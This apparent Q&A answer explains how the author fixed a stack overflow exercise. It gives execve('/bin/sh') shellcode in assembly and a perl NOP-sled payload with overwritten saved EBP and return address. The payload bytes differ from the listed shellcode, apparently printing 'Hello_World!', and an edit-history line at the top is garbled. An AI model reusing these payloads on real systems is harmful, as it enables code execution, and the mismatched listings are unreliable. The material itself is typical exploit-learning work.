Skip to main content
added 22 characters in body
Source Link
ramon
  • 121
  • 5
<NOPs> <Shellcode> <previous function $EBP> <previous<$EIP functionpointing EIP>to the middle of the NOP sled>
<NOPs> <Shellcode> <previous function $EBP> <previous function EIP>
<NOPs> <Shellcode> <previous function $EBP> <$EIP pointing to the middle of the NOP sled>
Source Link
ramon
  • 121
  • 5

Mistake #1

I was overwriting the $EBP saved within the stack (which is located just before the return address / $EIP) with my shellcode. Instead now I am retaining the original saved $EBP.

Hence the payload is now made up of the following format:

<NOPs> <Shellcode> <previous function $EBP> <previous function EIP>

Mistake #2

My shellcode is utilizing push instructions. Each push instruction was overwriting part of my shellcode and hence why the shellcode stopped executing. This is as the $ESP was pointing to an address which coincides with part of my shellcode.

The solution to this is to modify the shellcode such that its makes the $ESP equal to the $EBP. Therefore the first line of code of the shellcode is:

mov esp, ebp

The above prevents overwriting parts of my shellcode.

Working Solution

Shellcode objdump:

../shellcode3/shell-new:     file format elf32-i386


Disassembly of section .text:

08049000 <_start>:
 8049000:       89 ec                   mov    %ebp,%esp
 8049002:       31 c0                   xor    %eax,%eax
 8049004:       31 db                   xor    %ebx,%ebx
 8049006:       31 c9                   xor    %ecx,%ecx
 8049008:       31 d2                   xor    %edx,%edx
 804900a:       b0 0b                   mov    $0xb,%al
 804900c:       53                      push   %ebx
 804900d:       68 2f 2f 73 68          push   $0x68732f2f
 8049012:       68 2f 62 69 6e          push   $0x6e69622f
 8049017:       89 e3                   mov    %esp,%ebx
 8049019:       cd 80                   int    $0x80
 804901b:       31 c0                   xor    %eax,%eax
 804901d:       31 db                   xor    %ebx,%ebx
 804901f:       b0 01                   mov    $0x1,%al
 8049021:       cd 80                   int    $0x80

Payload:

perl -e 'print "\x90" x 42 . "\x89\xec\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb3\x02\x51\x68\x72\x6c\x64\x21\x68\x6f\x5f\x57\x6f\x68\x48\x65\x6c\x6c\x89\xe1\xb2\x0d\xcd\x80\x31\xc0\x31\xdb\xb0\x01\x30\xdb\xcd\x80" . "\x98\xce\xff\xff" . "\x30\xce\xff\xff"'

where:

  • \x98\xce\xff\xff = the saved (previous function's) $EBP
  • \x30\xce\xff\xff = the saved (previous function's) return address ($EIP)

Caveats

Shellcodes will no longer run on Linux Kernal v5.8+ [ref]. However you can test them within GDB.

Alternatively you can test them on an old Linux distro. In the case, please note that the return address + saved $EBP will be different, so modify the payload accordingly.